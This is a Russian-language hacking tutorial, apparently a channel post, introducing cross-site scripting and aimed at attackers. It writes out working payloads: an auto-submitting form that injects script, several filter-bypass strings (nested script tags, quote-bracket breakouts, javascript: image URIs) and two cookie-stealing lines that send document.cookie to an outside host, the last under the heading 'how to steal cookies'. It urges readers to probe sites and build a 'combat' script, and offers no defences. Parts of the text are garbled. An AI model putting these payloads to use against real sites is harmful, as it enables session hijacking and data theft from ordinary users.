XSS: базовые знания, введение
@it_sekreti
Что такое XSS-уязвимость? Стоит ли ее опасаться? Межсайтовый скриптинг (сокращенно XSS) — широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.
Типы XSS уязвимостей
Существует два типа XSS уязвимостей — пассивная и активная.
Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.
Пассивная уязвимость - тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.
Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.
<form method="post" action="http://site.com/page.php">
<input type="hidden" name="var" value="<script>alert('xss')</script>">
</form>
<script type="text/javascript">
document.getElementsByTagName('form')[0].submit();
</script>
Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).
Кража Cookies
Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.
var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie;
Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть <iframe>, <img>, <script>, background:url(); и т.п.
Кража данных из форм
Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.
Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.
DDoS-атака (распределенная атака типа «отказ в обслуживании»)
XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:
<img src="http://site.com/">
Подделка межсайтовых запросов (CSRF/XSRF)
Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.
Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.
Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.
XSS-черви
Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.
Примеры атак:
XSS состоит из тегов, они же состоят из html, и javascript языка (да, вы не зря его учили)
Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.
Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<script>alert()</script>
Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.
Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><script>alert()</script>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><script>alert()</script> , что происходит?
Мы вводим в форму "><script>alert()</script> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выполняет
<script>alert()</script>
Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><script>alert()</script>
Если вышло сообщение - вы нашли XSS...
А как определить есть экранирование символов или нет?
Просто в любое поле вводим:
'';!--"<erehsawrj>=&{()}
Дальше открываем html страничку и ищем слово "fuck"
и смотри последующие сиволы..
Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так:
"><>'"`,/\?@%
Рассмотрим случай если фильтр съедает <>
В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.
Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<script>ript>alert()</sc</script>ript>
это, если фильтр не оч. сильный и плохо фильтрует.
Еще можно попробовать во так:
>>>><<script бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.
Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
"> http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();
Фильтр смотрит, что ничего опасного в <IMG%20SRC="javascript:alert(); нет, закрывает и тем самым
выполняя скрипт.
Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.
Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.
Как воровать куки?
<script> img = new Image(); img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie; </script>
Больше материала на it_sekreti.